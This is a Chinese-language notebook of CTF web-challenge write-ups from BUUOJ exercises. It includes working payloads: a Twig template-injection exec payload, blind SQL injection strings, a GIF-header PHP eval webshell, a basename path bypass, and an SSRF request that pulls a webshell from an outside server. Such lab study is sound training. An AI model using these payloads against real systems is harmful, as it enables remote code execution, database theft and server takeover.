[BJDCTF2020]Cookie is so stable
- 根据题目看应该是要抓包
- 观察flag界面引用了我们输入的内容,猜测是模板注入,抓包测试,发现由cookie中的user控制
-
做了半天原来是没学过的twig模板,下面贴一张图来判定模板类型
-
网上搜出来twig模板的利用好像比较固定
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
- 试一下,得到flag
)
[ASIS 2019]Unicorn shop
- 买东西的界面,输入1,2,3都显示的是错误请求,输4号商品显示钱不够,但是html只能输1位
- 按照之前的思路应该是下载html,修改后上传,但是查看源码后发现本题的判定不在前端
- 查了之后才知道只有一位字符但是比1337大的字符很多,比如𐡟
- 顺便说一件很有意思的事,我问chatgpt比1337大的unicode字符时,他的回答是这样的,我怎么感觉被嘲讽了🤔
[MRCTF2020]PYWebsite
- 查看源码,发现一段js
function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}
}
- 授权码输入正确就跳转到flag.php,不如直接访问
- "除了购买者和我自己,没有人可以看到flag"多半是XFF
- 得到flag
[WUSTCTF2020]颜值成绩查询
- 应该是ssti或者sql注入,搜索框搜索之后会get传参stunum
- 做不出来,原来是新的注入方法:异或注入,并且过滤了
1^if((ascii(substr(database(), 1, 1)) > 50),1,0)^1
等价于
if((ascii(substr(database(), 1, 1)) > 50),1,0)
直接传入sql查询语句即可
- 测试是否存在注入,并判断出是布尔盲注
?stunum=1^sleep(5)^1--+
出了问题,卡死了
http://98e5dcf6-3701-4a2d-b3d3-1421c8b272dc.node4.buuoj.cn:81/?stunum=1/**/and/**/1=2#
下面显示student number not exists.
http://98e5dcf6-3701-4a2d-b3d3-1421c8b272dc.node4.buuoj.cn:81/?stunum=1/**/and/**/1=1#
下面显示Hi admin, your score is: 100
- burp爆库名,得到ctf
1/**/and/**/length(database())=3
1/**/and/**/substr(database(),1,1)='c'
- burp爆表名,得到flag,score
1/**/and/**/length((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_sche
ma='ctf'/**/limit/**/0,1))=4
1/**/and/**/substr((select/**/ table_name/**/from/**/information_schema.tables/**/where/**/table_schema='ctf'/**/limit/**/0,1),1
,1)='f'
- burp爆字段名
1/**/and/**/length((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_na
me=%27flag%27/**/limit/**/0,1))=4
1/**/and/**/substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_na
me='flag'/**/limit/**/1,1),1,1)='v'
- 爆数据
1/**/and/**/length((select/**/value/**/from/**/flag/**/limit/**/0,1))=42
1/**/and/**/substr((select/**/value/**/from/**/flag/**/limit/**/0,1),1,1)='f'
- 得到flag
- ps:网上看到的wp几乎都是用py写的,很少用burp,我啥时候也把自己那一份py改一下
[GWCTF 2019]枯燥的抽奖
- 查看源代码,发现有一个check.php,访问一下
299VKqOsBW
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";
if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");
- 典型的随机数反推种子
- 本题利用得到的字符串反推出生成的随机数,再反推出种子,从而得到所有随机数(未解决)不明白为什么字符串反推随机数要这么写
str1 ='299VKqOsBW'
str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result =''
length = str(len(str2)-1)
for i in range(0,len(str1)):
for j in range(0,len(str2)):
if str1[i] == str2[j]:
result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
break
print(result)
- 得到随机数
28 28 0 61 35 35 0 61 35 35 0 61 57 57 0 61 46 46 0 61 16 16 0 61 50 50 0 61 18 18 0 61 37 37 0 61
58 58 0 61
- 反推种子
./php_mt_seed 28 28 0 61 35 35 0 61 35 35 0 61 57 57 0 61 46 46 0 61 16 16 0 61 50 50 0 61 18 18 0
61 37 37 0 61 58 58 0 61
- 利用种子拿到随机字符串299VKqOsBWPRmMm1VmIE
<?php
mt_srand(107873763);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
?>
- 提交字符串,拿到flag
[Zer0pts2020]Can you guess it?
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>
- $_SERVER[‘PHP_SELF’]表示当前的php文件相对于网站根目录的位置地址
- basename()会返回路径中的文件名部分。比如/index.php/config.php使用basename()之后返回config.php
bin2hex(random_bytes(64))是一个用于生成64字节随机字符串的PHP表达式。它使用random_bytes函数生成一串随机的
二进制数据(共64字节),然后使用bin2hex函数将二进制数据转换为十六进制字符串。
具体来说,random_bytes函数生成指定长度的安全随机字节序列。在这里,它生成64字节长的随机字节序列,其中64字节等
于512位,足够安全以保证生成一个高强度的随机字符串。然后,bin2hex函数将这个随机字节序列转换为一个由十六进制字
符组成的字符串,使其更易于处理和显示。
- 随机数就不敢奢望破解了,basename有个漏洞可以利用
var_dump(basename("xffconfig.php")); // => config.php
var_dump(basename("config.php/xff")); // => config.php
- 也就是说config.php/%ff等价于config.php
- 同时注意到本来$_SERVER['PHP_SELF']返回的index.php,这使得highlight_file函数将index.php的内容公布,但是经过basename()处理后,类似于basename($_SERVER['PHP_SELF'])将会返回末尾文件名,控制文件名是config.php就可以输出config.php的内容
在访问 index.php 时,服务器会将请求路径的部分作为 $_SERVER['PHP_SELF'] 的值返回给 PHP 脚本。如果请求路径
中包含其他的字符串,例如 /index.php/config.php,那么 $_SERVER['PHP_SELF'] 的值仍然会是 /index.php,而不
是 /index.php/config.php。这种情况下,可以使用 $_SERVER['REQUEST_URI'] 来获取完整的请求路径。
- 最终payload:/config.php/%ff?source
[WUSTCTF2020]CV Maker
- 这应该是sql注入,但是5个输入框,不知道是哪一个
- 试了一下发现并不是sql注入,什么反应都没有,先登录试试
- 原来是文件上传,上传个webshell,提示exif_imagetype not image!
exif模块判断,抓包改content type不是exif,是exif_imagetype()函数,查了一下,这个函数检查文件头,伪造文件头就行
GIF89a
<?php
eval($_POST['cmd']);
?>
GIF89a
<script language="php">eval($_POST['cmd']);</script>
- 两者都可以,下面这种不需要<?可以绕过某些过滤
[watevrCTF-2019]Cookie Store
- 100元买flag,我只有50,既然提示cookie就抓包看看
- cookie有个一看就是base64编码的东西,解码之后
{"money": 50, "history": []}
- 看上去直接改这个就行了,抓取买1号食物的cookie,解码之后是
{"money": 50, "history": []}
还post了一个id=1
- 那么post一个id=2,传入JTdCJTIybW9uZXklMjIlM0ElMjA1MDAwJTJDJTIwJTIyaGlzdG9yeSUyMiUzQSUyMCU1QiU1RCU3RA==即可
[HITCON 2017]SSRFme
- ssrf的题目
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
- 分析一下第一个if的作用,可以无视代理得到用户真实ip
这段 PHP 代码检查是否存在 HTTP_X_FORWARDED_FOR 头,如果存在,则假设客户端使用了代理,并将代理服务器的 IP
地址解析为客户端的 IP 地址。
当使用代理服务器时,代理服务器将客户端的请求转发给目标服务器。HTTP 请求头中包含 X-Forwarded-For 信息,其中
包含客户端的 IP 地址以及其他经过的代理服务器 IP 地址,多个地址之间以逗号分隔。这个 HTTP_X_FORWARDED_FOR 变
量通常是在代理服务器中使用的。
这段代码将 HTTP_X_FORWARDED_FOR 中的 IP 地址解析为客户端的 IP 地址,以便在 PHP 脚本中使用。
- 再分析一下运行目录
- 那么输入webshell就行了,好像可以把脚本放自己服务器上,让他get就行了
?filename=1.php&url=drinkflower.asia/1.txt
[b01lers2020]Welcome to Earth
- 查看源码,发现一个chase目录
- 进入后被跳转了,抓包看看,找到新目录leftt
- 好的,shoot目录
- 好的,door目录,我开始怀疑要写脚本一层一层去点了,但是它的每一层的网页并不是固定格式,爬虫不好爬啊
- 这里要选择,但是check函数没给出,应该是放在哪个js文件里面了,页面正好有一个/static/js/door.js
- 好的,open目录
- 好的,/static/js/open_sesame.js
- 好的,fight目录
- 好的,fight.js找到flag,不过没有顺序,试着控制台跑一下,没有key跑不出来
- 网上的解决办法是python进行字符串全排列,学到了
from itertools import permutations
flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]
item = permutations(flag)
for i in item:
k = ''.join(list(i))
if k.startswith('pctf{hey_boys') and k[-1] == '}':
print(k)
- 下面分析一下这里面的用法
这段 Python 代码使用了 itertools 模块的 permutations 函数,对一个由 8 个字符串组成的列表进行排列,然后逐个
排列的字符串组合成新的字符串并检查是否符合特定的格式要求。具体来说:
使用 permutations 函数生成 flag 列表的全排列。
逐个取出每个排列,将字符串列表中的元素连接成一个字符串。
对于每个字符串,检查其是否以 'pctf{hey_boys' 开头,并以 '}' 结尾。
如果符合条件,则打印该字符串。
该代码涉及到的知识点包括:列表、迭代器、字符串、全排列生成、字符串拼接、字符串格式要求的检查、循环控制语句、
输出打印等。